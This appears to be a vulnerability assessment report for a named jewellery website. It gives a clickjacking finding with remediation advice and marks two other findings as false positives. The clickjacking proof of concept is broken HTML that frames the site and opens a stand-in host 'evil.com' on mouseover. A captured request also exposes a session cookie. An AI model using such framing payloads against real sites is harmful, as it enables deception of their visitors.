

Website name

<https://omkarjewelers.ssbmultiservices.com>

1.Vulnerability name: Clickjacking: X-Frame-Options header

Vulnerable URL: <https://omkarjewelers.ssbmultiservices.com>

CVSS: Base Score: 5.8

POC:



HTML File:

```
iframe{
```

```
width: 100%;
```

```
height: 600px;
```

```
border: none;
```

```
}
```

```
</style>
```

```
<title>Clickjacking PoC</title>
```

```
</head>

<body >

<a onmouseover="window.open('http://evil.com')" style="z-index:1;left:900px;position:relative;top:150px;font-size: 30px;text-transform: capitalize;color:red;text-decoration:none;font-style: normal;">clickjacking</a>

<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:1" src=" https://omkarjewelers.ssbmultiservices.com">

</ifram>

</body>

</html>
```

This code save with html file and run this

The impact of this vulnerability:

The impact depends on the affected web application.

How to fix this vulnerability:

Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.

Recommendation

Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.

2.Vulnerability name: Vulnerable package dependencies [high]

Vulnerable URL : <https://omkarjewelers.ssbmultiservices.com/project/>

POC: False Positive

Request				Response				
Pretty	Raw	Hex		Pretty	Raw	Hex	Render	
1	GET /project/ HTTP/2			1	HTTP/2 404 Not Found			
2	Host: omkarjewelers.ssbmultiservices.com			2	Expires: Thu, 19 Nov 1981 08:52:00 GMT			
3	Cookie: PHPSESSID=0347aee8d3b93946254acf006ad738d3			3	Cache-Control: no-store, no-cache, must-revalidate, no-cache, private			
4	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0			4	Pragma: no-cache			
5	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8			5	Date: Sun, 07 Jan 2024 05:00:49 GMT			
6	Accept-Language: en-US,en;q=0.5			6	Content-Type: text/html; charset=UTF-8			
7	Accept-Encoding: gzip, deflate, br			7	Server: Apache			
				8				
				9	<!DOCTYPE html>			
				10	<html lang="en">			
				11	<head>			

3.Vulnerability name: Development configuration files

POC: False Positive